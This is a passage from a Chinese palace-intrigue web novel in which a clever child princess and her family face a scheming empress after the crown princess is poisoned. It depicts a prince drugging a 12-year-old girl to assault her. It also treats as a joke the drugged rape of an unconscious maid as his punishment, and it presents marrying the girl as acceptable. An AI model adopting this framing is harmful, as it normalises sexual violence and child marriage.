干嘛让她们来参加百花宴啊? 皇后笑意顿收,危险的眯起眼眸:“本宫可没有看不起许家的意思。” 许家可是存在了二百余年的超级世家,虽然不入仕,但出了很多当世大儒。 家族中珍藏的,随便一件都是一些历史上的名人千金难求的孤本、画作或者诗集等等,可不能得罪了。 唐蕊见她服软,也见好就收:“哦,那是孙女理解错了,皇奶奶对不起哦!” 但皇后却不依不饶了,似笑非笑的看着唐蕊,懒懒的伸手抵着额角:“犯了错是不是该受罚呢?本宫得好好想想,要怎么罚你才好!” 唐蕊惊呆了! 不是,你这么不要脸的吗? 秦芷嫣心下一个咯噔,赶紧把唐蕊护在身后:“母后,昭华年纪小不懂事,您可千万别跟她一般见识。” “她已经是郡主了,怎可如此言行无状?这丢的,不是皇家的脸面吗?” 皇后慢条斯理,一点面子都不给,想了想又道:“昭华年纪尚幼,本宫也不能罚得太狠。这样吧,就去院中跪上一个时辰,以儆效尤!” 众人:“!!” 让唐蕊在大庭广众下罚跪,这还叫不够狠? 秦芷嫣哪里肯:“母后,这也…” “你要是再求情,就一并受罚!”皇后柳眉一竖,不由分说打断了她的话。 秦芷嫣:“…”尼玛的,尼玛尼玛尼玛,一个半老徐娘了都,还找一个孩子的茬,能要点脸吗? 就在秦芷嫣不知道该怎么办的时候,唐蕊从她身后伸出个小脑瓜来,一脸天真好奇:“皇奶奶,你是不是比皇爷爷还要尊贵呀?皇爷爷都不让我跪了,你还要让我跪哇?” 皇后闻言这才想起皇帝寿宴上的赏赐,顿时冷下脸来:“昭华,你大胆!” 唐蕊更不解了:“昭华只是不懂就问,怎么大胆了哦?皇奶奶,昭华命苦,从小与爹爹分离,没有生活在您身边。但昭华现在回来啦,您作为长辈,不是应该好好教教昭华尊卑规矩么?您和皇爷爷,到底谁更尊贵哇?” 第106章 皇后不是皇后 皇后冷冷的看着昭华不语,心里想的却是:这孩子果然如嫱姐所说的那般,不是个蠢的,这么小的年纪就知道怎么怼她了。 若是等她长大,那还得了? 皇后此时真的对唐蕊动了杀心,心里更有一丝她自己都不承认的嫉妒。 为何老七的孩子就如此聪慧,而太子的孩子们却那么愚笨? 此时在追究,就会闹大了。 她可不想惊动皇帝! 皇后神色顿了几顿,最终换上了笑脸:“当然是你皇爷爷更尊贵了,皇奶奶跟你开玩笑,你还当真了么?” “原来是开玩笑啊!”唐蕊拍着小胸膛,狠狠的松了一口气:“还好还好,昭华还以为自己哪里做得不够好,皇奶奶不喜欢昭华!” “…”我喜欢个屁! 皇后呵呵:“你是本宫嫡亲的孙女,本宫怎么会不喜欢呢?就得吓吓你才好,跟皮猴似的不知天高地厚。” 唐蕊也呵呵:“有皇爷爷和皇奶奶这两个全天下最尊贵的人护着昭华,昭华什么都不怕哦!” 包括你,尊贵的皇后娘娘! 听懂了她言外之意的皇后,都快笑不出来了。 这妮子真是…闻名不如见面呐,初生不怕牛犊虎啊! 秦芷嫣听着祖孙俩其乐融融,实则却暗藏机锋的话,心惊肉跳的。 听不下去了! 秦芷嫣站起身来,牵着唐蕊的小手:“母后,蕊蕊估计坐不住了,儿媳带她走走。” “去吧!”皇后知道了唐蕊是个不好惹的,不再为难她了,而是转头看向贵女中的朱妙婈,故意问身边的嬷嬷:“那是哪家贵女啊?” 嬷嬷小声回答,为接下来的事做铺垫。 秦芷嫣心下稍安,带着唐蕊和顾若雪去了不远处赏花。 实则… “王爷和九皇弟还有多久到啊!”秦芷嫣欲哭无泪:“我想回王府了!” 顾若雪无奈道:“王妃姐姐,你别着急,王爷说了,等下了朝,会找个借口,带着九皇弟来凑热闹。” “那应该快了!”秦芷嫣松了口气,低头看着唐蕊,又板起脸教训她:“蕊蕊,你胆子也太大了,那可是皇后娘娘,你就不怕得罪她么?” 唐蕊耸耸肩,一副死猪不怕开水烫,没所叼谓的模样:“就算讨好她,她也不会喜欢我啊,谁让我是爹爹的宝贝女儿呢,所以我干嘛还要费力不讨好哦。” 秦芷嫣:“…”这话也没错,可那是皇后,一国之母,你爹的亲娘啊! 顾若雪却觉得唐蕊说得对:“父不慈则子不孝,姐姐,你应该能理解蕊蕊才是。” 秦芷嫣想起自家那个不靠谱的爹,长长的叹息一声:“我知道,我就是担心她对蕊蕊出手。毕竟她那心眼,真不大的。” 唐蕊摸了摸手腕上盘着的赤赤,眼底划过一丝冷光:“我才不怕她捏!” 给脸不要脸,那就一劳永逸! 她不是不敢杀人,但杀人这种事,如非必要,唐蕊也不会做。 每个人都应该克制自己的恶念,不然与禽兽何异? 就在这时,司徒谨跑了过来,眼眶红红:“七皇婶,你在这啊!” 秦芷嫣愣了一下,很快扬起笑脸:“是谨哥呀,你的伤好些了么?” “好多了,已经开始结痂了,我来找你不是说这个的。” 司徒谨擦掉眼泪,抬眸看着她:“七皇婶,我母妃…没了…” 秦芷嫣一时间怀疑自己听错了:“你说什么?” “我母妃,刚刚走了…”司徒谨说到这,左右看了看,见没人发现,又低声道:“是我父王和皇奶奶下的毒。” 秦芷嫣大脑宕机,瞬间呆愣当场:“死了…居然死了…” 司徒谨垂下眼眸,很是难过:“以后我又成了没有娘的孩子了。” 秦芷嫣腿一软后退几步,差点一屁股坐地上。 还好顾若雪手快,扶住了她,恨铁不成钢道:“你别告诉我,你还为秦芷媃难过。” “不是…我就是突然觉得…很可怕…”虽然她也曾无数次恨不得秦芷媃去死,可这人真的死了,她又有点消化不良。 太子和皇后的心也太狠了吧? 好好一个人,还是太子妃呢,说杀就杀? 秦芷嫣用力抓住顾若雪的手,有些胆怯了:“顾妹妹,这后宫就像是吃人的牢笼一样,难道你不觉得可怕吗?” “…”怕什么怕? 司徒澈在哪她顾若雪就在哪,就算司徒澈以后入住皇宫,她也甘愿剪掉羽翼缩进这牢笼中。 顾若雪皱眉道:“冤有头债有主,咱们身正不怕影子歪,有什么可怕的?你既然嫁给了王爷,应该就已经猜到会卷入这些是非中,难道你现在才来后悔吗?” “不…不…我不后悔!”秦芷嫣冷静下来,眼神也慢慢变得坚定:“你说得对,我才不会后悔!” “那就好!”顾若雪神色缓和了一些。 唐蕊此时已经在安慰司徒谨了,掏出自己的手帕给他擦掉眼泪,全程嫌弃脸:“哭什么哭,你那母妃也不疼你,你倒好,还要为她哭,以前怎么没发现你这小不点的心肠这么好哦!” 司徒谨瘪嘴:“可她到底是我母妃…” 唐蕊没好气道:“你有这时间为她难过,还不如求神拜佛,向老天祈祷你下一任母妃是个疼你的呢!” “…”这话觉得哪里怪怪的,却又无法反驳! 等等,还有遗言呢! 司徒谨看向秦芷嫣:“七皇婶,我母妃托我向你说一声,对不起。” 秦芷嫣神色复杂:“她…真的这么说了?” 司徒谨点点头:“我不知道你们以前发生过什么事,但母妃是很诚恳的向你道歉,当时她痛得要死,还在哭,眼里都是悔意。” 唐蕊白眼都快翻出天际了。 伤害已经造成,道歉有用的话,要警察干嘛? 必须痛我所痛,苦我之苦,那才算道歉吧? 秦芷媃沉吟良久,最终长长的叹息一声:“罢了,人都没了,其言也善,她的歉意我收下了。” 她一个大活人,没必要跟一个死人计较。 若秦芷媃此时正看着,只希望她能走得安心一些。 如果能有下辈子,生在寻常百姓家吧,至少生活简单一些,不用面对皇家的阴谋诡计。 这个想法刚落下,一阵清风拂过,像是在回应秦芷嫣的话一样。 司徒谨听她这么说,郑重其事的给她鞠了个躬:“我代表母妃,多谢七皇婶宽宏!” “罢了罢了!”秦芷嫣无奈道:“你呀,自己都还带着伤呢,也不好好躺在床上修养,到处瞎跑,以后要是落下病根,可如何是好?” 这暖心的话,从没人对司徒谨说过,司徒谨眼圈又红了。 唐蕊一看他这架势赶紧开口:“喂喂喂,你别哭了啊,我没帕子了。” “…”司徒谨又默默把眼泪憋了回去,开口道:“还有一句话,是母妃让我必须要带给您的。” 秦芷嫣:“说吧,我听着呢!” 司徒谨抓了抓后脑勺,很是疑惑:“母妃说,皇后不是皇后!” 第107章 皇后姜氏 “??” 两个女人外加唐蕊三脸懵逼! 什么叫皇后不是皇后? 皇后不是皇后,那又是谁? 秦芷嫣不知想到什么,脸色骤变:“难道,母后是被人冒充的?” “怎么可能!”顾若雪皱眉道:“父皇治下朝臣一心,还有龙隐卫众多耳目,如果母后是被人冒充的,父皇怎么会不知道?” “这话也没错…”秦芷嫣心下稍安,完全不理解了:“那…秦芷媃这话到底什么意思啊?” 司徒谨抓了抓后脑勺,一脸懵懂:“我也不知道,反正这是母妃临终前说的最后一句话。” “好,我收到了!”秦芷嫣见他额头还有薄汗,蹲下身来,掏出手帕替他拭去:“你呀,还是赶紧回去休息吧,那么严重的刀伤,可不要再出什么纰漏,让我们这些长辈担心!” 比起司徒嫱,司徒谨真不算多讨厌。 不管他们大人之间有什么恩怨,不该牵扯到无辜的孩子。 “谢谢七皇婶关心,我这就回去了!”司徒谨心下一暖,迟疑片刻,还是忐忑道:“七皇婶,以后我能常去璃王府找昭华玩吗?” 秦芷嫣笑道:“昭华要是同意,我自然不会阻挠。” 司徒谨闻言赶紧看向唐蕊,眼底满是小心翼翼:“昭华,可以吗?” 对于不是很熊的孩子,唐蕊和秦芷嫣的想法一样。 唐蕊踮起脚尖,哥俩好的搭着他的肩:“尽说些废话哦,你是我堂兄,堂兄妹之间多多走动,不是应该的么?” “好,等我大好了,就去找你玩!”司徒谨退后几步,朝她挥挥手:“说定了哦!” “知道啦知道啦!”唐蕊不耐烦的挥了挥小手。 等他离开后,三个人脸上的笑容都淡了下来,开始思索秦芷媃留下的那句遗言。 唐蕊摸着下巴,也不断琢磨这几个字,甚至还联想到上辈子看过的甄嬛传名语录‘皇后,杀了皇后’了。 比起这句话,皇后不是皇后,更好理解一些。 无非就是说,皇后是被人假冒的。 但…顾若雪说得也有道理! 如果皇后是被人假冒的,皇帝怎么可能无动于衷呢? 难不成皇后手眼通天,还能瞒住耳目众多的皇帝吗? 又或者说,还有人能在密不透风守卫森严的皇宫,把皇后掉包? 这也太扯了吧! 所以,这话到底是什么意思? 秦芷媃生前到底发现了什么? 唐蕊好奇道:“母妃,皇奶奶,从一开始就是皇爷爷的妻子吗?” 秦芷嫣和顾若雪脸色大变,一左一右赶紧捂住了唐蕊的嘴。 唐蕊眨巴着无辜的大眼睛瞅着二人。 秦芷嫣严肃道:“你听谁说了什么?” “我没有!”唐蕊掰开她俩的手:“我就是好奇,问问而已,明月今天跟着我的,在暗处看着,周围没有人,你们放心。” 二人闻言这才放心,秦芷嫣左右看了看,确定没人,这才小声道:“不是,但父皇的原配是个禁忌话题,不能说,知道吗?” 她越是这样,唐蕊越好奇了。 但秦芷嫣态度坚决,不准她再继续这个话题。 好吧! 唐蕊只能暂时性作罢! 三人出来也有一会儿了,一直不躲着也不太好,只能回到了原本的位置上。 皇后此时已经拉着朱妙婈不停说话了,脸上笑得温温柔柔的,俨然一个和蔼可亲的长辈。 可朱妙婈知道她的意图,全程都很别扭,笑得很是勉强,又不敢抽回自己的手。 看到三人回来,皇后斜睨了秦芷嫣一眼,轻嗤一声,啥也没说。 秦芷嫣正襟危坐,背挺得笔直,生怕哪里犯了错,又惹到这尊煞神。 唐蕊落后几步,坐在顾若雪身边,还顺手端过一旁的点心,压低了声音:“顾庶母,跟我说说呗。” 顾若雪无奈的看着她:“就这么想知道?” 唐蕊点点头:“肯定哇,知道原委,推断的结果才会接近真相哦。” “唉…好吧…”顾若雪一直都没把唐蕊当成普通的小孩,扫了周围一眼,确定没人注意这边,才压低声音跟她说起宫闱秘事:“这事你问别人,别人估计不清楚,但我祖父是丞相,还真听他说过。现在的皇后…” 现在的皇后姜氏,还真不是皇帝的原配。 皇帝的原配是锦后,也是世家出身,乃太后亲自挑选的。 而姜氏,是皇帝登基一年后,通过选秀入宫的。 姜氏也是世家女,只是姜家不比许家这种超级世家,已经没落了。 但那个时候,太后势大,外戚干政,皇帝中意的恰恰是姜氏这种家世不够显赫的女子,于是不顾太后阻挠,封她为贵人。 贵人的位份可不算低,区区秀女,又无家世,一入宫就是贵人,这不由得让很多女人眼红了。 而皇帝只是喜欢她那不够显赫的家世,却不是喜欢她这个人,把人封了贵人后,就仍在一边不管不顾了。 所以,姜氏的日子并不好过。 其他女人倒是没什么,但当时的锦后,又是个不能容人的,没少打压姜氏。 姜氏也不是好欺负的,用尽所有办法,终于引起皇帝注意,入宫三月后成功侍寝。 一年后,锦后有了身孕。 又过了二月,姜氏也继锦后有了身孕,还被皇帝封妃了。 可想而知,两个女人斗得更狠了。 皇帝还是坐山观虎斗,也可以说是故意扶持起姜氏打压锦后的。 这个时候,皇帝还不爱姜氏,只是把她当成制衡锦后的工具。 最后,关键来了,锦后生下了大夏皇室禁忌人物——大皇子。 为什么是禁忌人物呢? 因为这大皇子,生下来后居然有两个脑袋! 权势滔天的太后被活生生吓死。 皇帝震怒,视锦后为不祥,甚至怪罪了锦后的家族。 锦后彻底倒台,家族被迁怒,连带着大皇子都被秘密处死。 那个时候所有人都认为,姜氏成了最大的赢家。 然而,帝王心难测! 锦后倒台后,姜氏也没了利用价值,被皇帝遗忘在角落。 就连姜氏后来生下来了孩子,也就是现在的太子司徒霄,皇帝都没去瞧过一眼。 第108章 答案只有一个 姜氏的宫殿成了冷宫,整日郁郁寡欢,缠绵病榻! 可…谁也不知道怎么回事,五年后,姜氏重新获得了圣宠。 皇帝爱她爱到了骨子里,走哪儿都揣着,完全把姜氏当成了腿部挂件! 只要去后宫,首先第一站,必须是姜氏的住处。 不管哪个地方献上什么好东西,一定会出现在姜氏的住处,皇帝甚至还在没有封后的情况下,让她搬进了皇后才能住的凤仪宫。 最后,在姜氏再次有喜,怀上司徒澈后,皇帝更是大手一挥,直接封后,凤仪天下! 顾若雪说罢,也是百思不得其解:“我虽没见过皇后圣宠时的情景,但听我祖父说,皇上爱惨了皇后,有一次他找皇上有急事,找到了凤仪宫,却看到皇上为了哄皇后高兴,居然在舞剑给皇后看。真的,我真的无法想象,皇上可是一国之君,居然为了博得皇后一笑,亲自下场舞剑,我当时都觉得祖父在说笑!对了,还有你爹爹…” 说到这里,顾若雪像是想起什么,继续补充:“皇上最喜欢你爹爹,听我爹说,有次父皇召见他,他来早了些,居然看到皇上在给你那两岁的爹爹换尿布。而皇后,就在一旁笑,也不阻止。一国之君,就算是自己的儿子,也不用亲手换尿布吧?这是什么程度的宠爱啊?” 顾若雪现在是喜欢司徒澈,但站在客观的角度上,她都觉得…也难怪太子看不惯司徒澈。 做爹的偏心到这个份儿上,哪个孩子心里能平衡? 唐蕊也听得叹为观止:“那后来呢?皇爷爷怎么不喜欢皇奶奶了哦?” “这…”顾若雪纠结了片刻,才不确定道:“也不能说不喜欢吧?我看皇上还是很宠爱皇后的,本来都要废了司徒霄的,结果皇后一开口,皇上不也随了她的意么?” 唐蕊:“…”不是,喜不喜欢一个人,难道你们都分辨不出来吗? 皇帝看皇后的眼神充满了厌恶和不耐烦,分明就是不喜欢她啊! 唐蕊不知道的是,谁敢去揣测圣心啊! 至少在外人看来,皇帝什么都会顺着皇后,这就是无上荣宠了。 顾若雪见她时而皱眉,时而纠结,笑着揉了揉她的脑瓜子:“别想了,这事别说你了,我都想不明白,更不知道皇上为何如此宠爱皇后。” 唐蕊摇头:“不对,这事不对啊!顾庶母,你再想想,这二十年来,宫里有发生过什么大事吗?” “大事…”顾若雪仔细回忆了一下,才道:“除了锦后的事,就是凤仪宫失火吧,别的也没什么大事。也是那场大火后,皇上就开始到处寻找与皇后相似之人了。” 唐蕊敏锐的抓住了关键:“凤仪宫失火?” 顾若雪点了点头:“对啊,现在的凤仪宫是新建的,我想想…你爹爹四岁那一年发生的事吧,凤仪宫无缘无故起火,伺候皇后的宫人全都葬身火海。皇后那天在皇上寝宫,所以逃过一劫。” 唐蕊:“!!”全部都死了? 这…确定是起火,而不是谁在杀人灭口吗? 至于谁这么大的胆子,敢明目张胆在凤仪宫放火杀人灭口,事后还无人追究,答案只有一个! 唐蕊顿时觉得一股寒气顿时直冲天灵盖。 她的神色有些呆,看着这思思方方的天,第一次感觉到了浓烈的窒息,与敬畏。 皇宫果然是最可怕的地方,没有之一。 不! 这么说也不对! 最可怕的怎么会是死物,应该是人心吧! 虽然还是不知道答案,但唐蕊这会儿真有点怕了,不敢再问了。 知道越多死得越快,要时刻谨记老祖宗的教诲。 见她似乎吓着了,顾若雪也不说了,把唐蕊抱起来放在膝盖上:“蕊蕊不怕哦,不管什么时候,庶母都会保护你的。” “嗯!”唐蕊无精打采的窝进她怀里,也没胃口吃点心了。 现在她只想回璃王府,不想待在宫里。 “太子驾到,辰王、睿王、襄王、璃王、晋王驾到!” 太监尖细的嗓音响起。 不光皇后愣住了,其他贵女也都愣住了。 抬眸看去,几个高大的男子逆光走来,个个昂首挺胸,器宇轩昂。 其中最耀眼的,仅司徒澈一人尔。 头戴玉冠,黑色祥云锦袍,上宽下窄,精瘦的腰身,面容如玉,貌比潘安! “太子千岁,各位王爷万安!”贵女们齐齐起身行礼,好几个偷看司徒澈的贵女都默默红了脸,羞涩的垂下眼眸。 璃王是真好看啊,到底怎么长的? 再看太子,本来就长得很一般,还黑着个脸。 在璃王的衬托下,都成了穿着华衣的路人甲。 啧! 都是一个娘肚子里出来的,怎么差别就这么大呢! 讲真的,太子她们是一点都不想嫁。 但要是能入璃王府,就算是做个庶妃,咳咳…也不是不能考虑。 当然,这么想的大多都是些年轻的。 一些年岁稍长的贵女还是很有理智的,除了最初的惊艳后,很快就按耐住了自己的小心思。 家族培养她们,是要让她们做当家主母的,可不是去给别人当妾的。 璃王很好,但他已经有王妃了。 于是,这些贵女立刻把目光放在了唯一一个适婚之龄,也被封王,还没成亲的司徒泽身上。 司徒泽:“…”所以他不喜欢来这种场合,感觉就像是进了狼窝似的。 最让他无语的是,这狼窝里的狼还都是母狼! 皇后脸上在笑,眼底却没有一丝笑意:“你们几个,怎么都来了?也不怕惊扰了各家女眷。” 辰王最重规矩,知道自己此举不妥,垂下头没有说话。 睿王有点怕皇后,嘿嘿一笑,也没开口。 “母后,儿臣府里也只有一位王妃呢!这不,一听说您办了百花宴,也来凑凑热闹。” 襄王就无所畏惧了,笑嘻嘻说罢,还不忘拉着一边的司徒泽下水:“还有九皇弟,他连王妃都没有呢,您可不能厚此比薄啊!” 第109章 像他小时候养的兔子 “就你事多!”太子瞪了他一眼,立刻向皇后告状:“母后,他们非要跟着儿臣来,拦都拦不住。” 贵女们:“…”多大了,还告状? 对太子的唯一的滤镜也碎了。 “这是什么话?他们是你的兄弟,也是母后的儿子,母后自然也要为他们考虑。”皇后脸上笑眯眯,心里MMP。 不是自己的儿子,谁特么管你去死啊? 太子知道她说的是场面话,笑了笑也没反驳,视线瞬间就放在了坐在皇后身边的朱妙婈身上,眼睛噌的一下亮了:“母后,这位是…” “这位是户部尚书家的嫡次女,很是懂事,母后喜欢得很呢!”皇后拍了拍朱妙婈的手,笑呵呵的夸赞。 “原来是朱二小姐!”太子自以为帅气的微微一笑,chua的一下打开扇子:“清水出芙蓉,天然去雕饰,朱二小姐有礼了。” 朱妙婈笑得比哭还难看,起身朝司徒霄福了福身子:“太子殿下过奖,小女惭愧。” 司徒霄却笑道:“朱二小姐谦虚了。” “…”谁踏马跟你谦虚啊? 朱妙婈是真的害怕皇后下一句话就是赐婚了,眼一闭心一横,红着脸壮着胆子道:“太子殿下,凡事不能看表面,小女只是空有皮囊而已,其实坏习惯一大堆,抠鼻屎,抠脚丫,吃多了豆子还会出虚恭,这些我家人都能作证的。” 为了拒绝太子,都不惜自毁名节了。 众人惊呆,全都不可置信的看着她。 皇后脸色微沉! 太子又不是彻底的蠢货,如此明显的拒绝之意怎么会听不出来,笑容缓缓消失,看着她的脸色无比阴沉。 司徒泽忍了又忍,实在没忍住噗嗤一声笑出声来。 朱妙婈脸更红了,垂下头恨不得找个地缝钻进去,心里的小人早就泪眼汪汪了。 她也不想的! 可她是真不想嫁给太子,做什么见鬼的太子妃啊! 求放过! 太子听到司徒泽的笑声,顿时侧头看向他:“九皇弟笑什么?” 司徒泽轻咳一声,收敛了笑意,吊儿郎当道:“太子皇兄管天管地,连我笑不笑也要管啊?我觉得好笑,不能笑吗?” 太子诸事不顺,脾气不好,一点就炸:“你就是在嘲笑孤!” 司徒泽斜睨着他,很是渣男道:“你要这么想,我也没办法。” 皇帝怜惜他从小没了娘,有看在他与司徒澈亲近的份上,对他也诸多维护。 有金大腿在,他还会怕一个傻13太子么? 司徒霄颤抖的指着他,刚要口出恶言,就被皇后打断了:“霄儿,本宫有话要跟你说,你随本宫来。” “是!”司徒霄瞪了司徒泽一眼,朝皇后走去。 “御花园里的花儿都是花匠精心培育的,各位慢慢欣赏吧!至于你们几个…”皇后说完这话,又看向几个王爷:“这里女眷众多,你们还是回避一下的好,不可失了礼数。” “儿臣遵命!”几个王爷垂眸颔首。 皇后冷冷的扫了司徒澈一眼,带着司徒霄离开了。 贵女们齐齐起身,恭送皇后。 有了皇后这句话,几个王爷呆在这也不太好了,但也没有离开,而是走远了一些,互相攀谈起来。 当然,这纯纯是贵女们的脑补。 实则… “爷就说不来,你们非拉着爷一起,看到她刚刚的眼神没有?像是要把爷吃了似的。”睿王面带微笑,说出来的话却全都是吐槽。 辰王单手背负在身后,背挺得笔直,彬彬君子不外如是,但嘴里说出的话却是:“不是说好兄弟,有难同当吗?若是老九一个人来,她还不知道要如何为难呢!” 襄王呵呵一笑,那昂首挺胸的样子像是要吟诗一首,结果说出的话是:“别吐槽啦,老七也在呢,皇后肯定会认为是老七怂恿的,不会算在我们头上的。” 司徒澈无奈的摇了摇头:“各位哥哥就别笑话我了,今天我们来凑这个热闹,说到底还是为了九弟的终身大事。” “也是哈!”睿王瞄了司徒泽一眼:“人也见了,怎么样啊?要不要娶给句准话!” 司徒泽扫了一眼远处纤瘦的身影,一时间没有说话。 其实…朱妙婈长得是真不错的,明眸皓齿,蛾眉曼睩,也不像朱侧妃那么胖,小小年纪,已经初见好颜色。 最重要的是,她好像不是那种板板正正的贵女,说话也挺有意思的。 就是吧… “才十二啊,这年纪也太小了,要是娶了她,别人会不会说我畜生不如啊?” 辰王微笑:“爷的王妃嫁过来的时候,也才十四,所以你的意思是,爷也畜生不如?” 司徒泽最怕这个三个哥,一秒怂:“我可没这么说,我就是觉得她年纪太小了。” 司徒澈拍了拍他的肩,语重心长:“你可以先娶回府,留她两三年再行夫妻之实。不用计较旁人说什么,日子都是自己过的,现在最重要的是,你中不中意,为兄虽然希望你帮忙,但更希望你能找到心仪之人,共度余生。若不中意,为兄另想办法就是,不用勉强自己。” “这话倒是没错!”几个王爷赞同点头。 帮是情分,不帮是本分。 他们都是这样的身份了,不用去在乎一个小女子的未来幸不幸福。 最重要的是,兄弟喜不喜欢。 司徒泽闻言又看向朱妙婈。 似乎察觉到他的视线,朱妙婈此时也看了过来,神色委屈,眼眶红红。 司徒泽:“…”这是在向爷撒娇么? 哈哈,还挺可爱的,像他小时候养的兔子! 还好朱妙婈不知道他的想法,不然绝对会喷他一脸。 她哪有撒娇,明明是贵女们都在笑话她,她想哭! 司徒泽觉得这丫头挺有意思的,以后若是再出门远游,也能有个伴儿了。 “行吧!”司徒泽终于下定决心:“我娶!” 几个王爷:“…”这是看对眼了? 行,想娶就娶! 辰王神色严肃起来:“既然要娶,那就要抓紧时间,现在就去向父皇请旨!” 睿王都被他搞得紧张了:“对啊,要娶就赶紧去,等皇后去了,你就没机会了。” 第110章 英雄救美 “好!”司徒泽点点头,正要去找皇帝。 临走时不经意扫了一眼朱妙婈,突然又停下了脚步! 一个面生的宫婢来到朱妙婈身边:“朱二小姐,皇后娘娘请您一叙。” “…”这是要跟她摊牌了是吧? 朱妙婈真想撂担子不干了。 可对方是一国之后! 她哪里得罪得起,只能强颜欢笑:“劳烦前面带路。” “朱二小姐客气了。”宫婢领着她离开。 秦芷嫣和顾若雪都看到了,本想跟上去,唐蕊却拉住了他们,冲了正朝这边来的司徒泽扬了扬下巴:“这是九皇叔英雄救美的好机会哦,咱们就别去凑热闹啦。” 秦芷嫣顿时放心下来,又笑着坐了回去:“也是,看来,九皇弟这是看中朱二小姐了。” “挺好的!”顾若雪慢条斯理端起茶杯:“九皇弟本就跟咱家王爷亲近,以后二人是亲兄弟,还是连襟,这关系只会更上一层楼。” 秦芷嫣赞同点头,只是想到皇后,又忍不住叹气:“咱们坏了母后的好事,还不知道母后要怎么惩罚我们呢!” 顾若雪微不可见的笑了笑:“姐姐这话错了,母后只是母后,还捅不破这天!” 唐蕊抬头望天,叹气。 这高门大户里的女子啊,没有一个是好惹的。 司徒泽大步而来,越过三个女人后没两秒,又倒了回来,蹲在唐蕊面前:“昭华,听你爹说,你还有那种药?现在带了吗?” 那种药? 作为一个秒懂女孩儿,唐蕊瞬间恍然大悟,笑容也逐渐猥琐:“没有哇,不过我还有别的好东西。” 唐蕊说着,从怀里摸出一个小瓷瓶和一个纸包,凑到他耳边嘀咕。 … 朱妙婈跟着宫婢没走多久,迎面一个小宫女端着托盘匆匆而过,还不小心把茶水洒到了她的衣服上。 领路的宫婢看到这一幕,当即狠狠的训斥了那个小宫女一番。 小宫女也吓到了,赶紧给朱妙婈跪下:“贵人恕罪,奴婢不是有心的。” 宫婢:“怎么恕罪?贵人的衣服都脏了,你是哪个宫的宫女?报上名来。” 小宫女一听脸都白了,不停给朱妙婈磕头:“贵人,奴婢真不是有心的,求贵人高抬贵手,饶了奴婢吧!” “算了!”朱妙婈脾气本来就好,见小宫女这么可怜,也不忍苛责她了:“以后走路当心些就是,我没事的。” “还不快多谢贵人!”宫婢怒斥一声,小宫女赶紧又磕了几个头,这才快速收拾好满地狼藉,快步离开。 宫婢看向朱妙婈,神色有些为难:“朱二小姐,您的衣服都脏了,要不奴婢找件衣服您先换上?不然一会儿在皇后娘娘面前失了仪态就不好了。” “这…好吧,多谢!”朱妙婈一想也是,就没拒绝,更没注意到宫婢眼底一闪而逝的冷光。 最后宫女把她带到了一个偏僻的殿宇前:“贵人,外面凉,您先进屋等等,奴婢这就去拿衣服。” “有劳!” 朱妙婈点点头,推开了殿门,一股奇异的香味霎时没入鼻间。 头脑逐渐昏沉,手脚软弱无力,视线也开始模糊。 朱妙婈这时才反应过来,遭了! 她想转身离开,可那宫婢却关上了殿门。 朱妙婈趴在门上,腿一软跪坐在地。 “朱二小姐,你还好吗?”男人幽幽的声音从身后传来,犹如鬼魅。 朱妙婈吃力的回过头,入目便是司徒霄那张脸。 此时她还有什么不明白的,只是她真的没有想到,堂堂一国皇后,一国储君,居然会这么无耻。 “你…别过来…”朱妙婈面露惊惧,几次想起身,可每次刚刚站起都会滑落在地。 司徒霄从容不迫的扯下自己的衣带,冷冷笑着:“放心,一会儿你得了趣,就会拉着孤不撒手了。” 恶心! 恶心! 恶心! 朱妙婈想尖叫,想抓花他的脸,可她现在连一根手指都抬不起来了,只能眼睁睁看着司徒霄脱下外衣,一步一步靠近。 直到司徒霄的手轻抚着她的脸,她感觉浑身的鸡皮疙瘩都起来了,眼底的惊惧也变成了恨意,用尽所有力气狠声威胁:“我就算死…都不会如你的意…” “贱人!”司徒霄闻言一巴掌呼了过去。 眼看那巴掌要落到朱妙婈脸上时,司徒霄瞳孔猛的瞪大,软软的倒了下去,露出身后的男人。 朱妙婈甩甩脑袋,定睛一看,很是惊讶:“你…晋王殿下?” “嘘!”司徒泽对她比了个噤声的手势,从怀里摸出一个小瓷瓶打开,放在她鼻子下面。 刺鼻的味道顺着鼻孔直击大脑,朱妙婈被这味道刺激得一哆嗦,脑子也不昏了,模糊的视线都清明了。 只是手脚依旧无力,还需要时间恢复。 “得罪了!”司徒泽看出她的窘境,脱下外袍披在她身上,像是抱小孩那般把她抱到一旁坐下。 做完这些后,他又来到香炉前,掏出一包药粉撒了进去。 最后,他来到门前,突然猛的打开门冲了出去。 守在外面的宫婢还没来得及回头看,就被他打晕了。 司徒泽像是拖死狗一样把她拖进去,扔在太子旁边,这才回到朱妙婈面前:“还能走吗?” 朱妙婈强忍着泪水点点头。 只是刚一起身,又坐了回去,脸上满是无助。 司徒泽没有戳穿,背过身去蹲下:“来,我背你!” 朱妙婈小脸一红:“这…怎可劳烦王爷…” “没事,快上来吧,一会儿皇后该来抓奸了。” “是…谢谢王爷…” 朱妙婈一想也是,只能忍着羞涩趴在他背上。 司徒泽带着她大步离开,还贴心的关好房门。 不过一会儿,那根香烧到了一半,司徒霄迷迷糊糊的醒了过来,只觉得浑身燥热。 他摸到一个冰冰凉凉的东西,二话不说翻身而上。 很快,屋里响起儿童不宜的死动静。 … 御花园里,皇后终于来了。 左右扫了一圈,没有看到朱妙婈,不由得狐疑:“朱二小姐呢?” 作为绝世好媳妇,当然要配合她演了。 秦芷嫣笑着起身:“回母后,朱二小姐刚刚被一个宫婢叫走了,一直都没有回来呢!” 第111章 光天化日,这也太不像话了 “朱二小姐不常入宫,别是迷路了吧?”皇后皱了皱眉,看向身旁的嬷嬷:“还不快带人去找。” “是!”嬷嬷赶紧去了。 秦芷嫣讥讽一笑,静静的看着她演。 以前怎么没发现皇后的演技这么拙劣呢? 很快,嬷嬷回来了,脸上还带着焦急之色:“娘娘,朱二小姐她…” 说到一半,她似乎才反应过来,这里场合不对,于是赶紧噤了声。 皇后皱眉道:“有话就说,别吞吞吐吐的。” “是…朱二小姐…和太子殿下正在…正在…”嬷嬷吞吞吐吐,似乎难以启齿。 可在座的谁不是人精啊? 各家贵女们纷纷震惊,诧异,不屑… “原来朱二小姐喜欢的是太子殿下呀,只是…这也太迫不及待了吧?” “她才多大?小小年纪就这么的…呵…” “太子妃还在呢,朱二小姐是想做太子侧妃么?” “李姐姐说笑了,自古以来,聘着为妻,奔着为妾。侧妃也是正经的主子,会上皇家玉牒的。依妹妹看,朱二小姐这么…豪放,谁晓得在太子殿下之前,她还有没有过别的相好?这样的女子,最多只能做个太子侍妾吧!” “呵呵呵…” … 太子妃暴毙的消息还没传开。 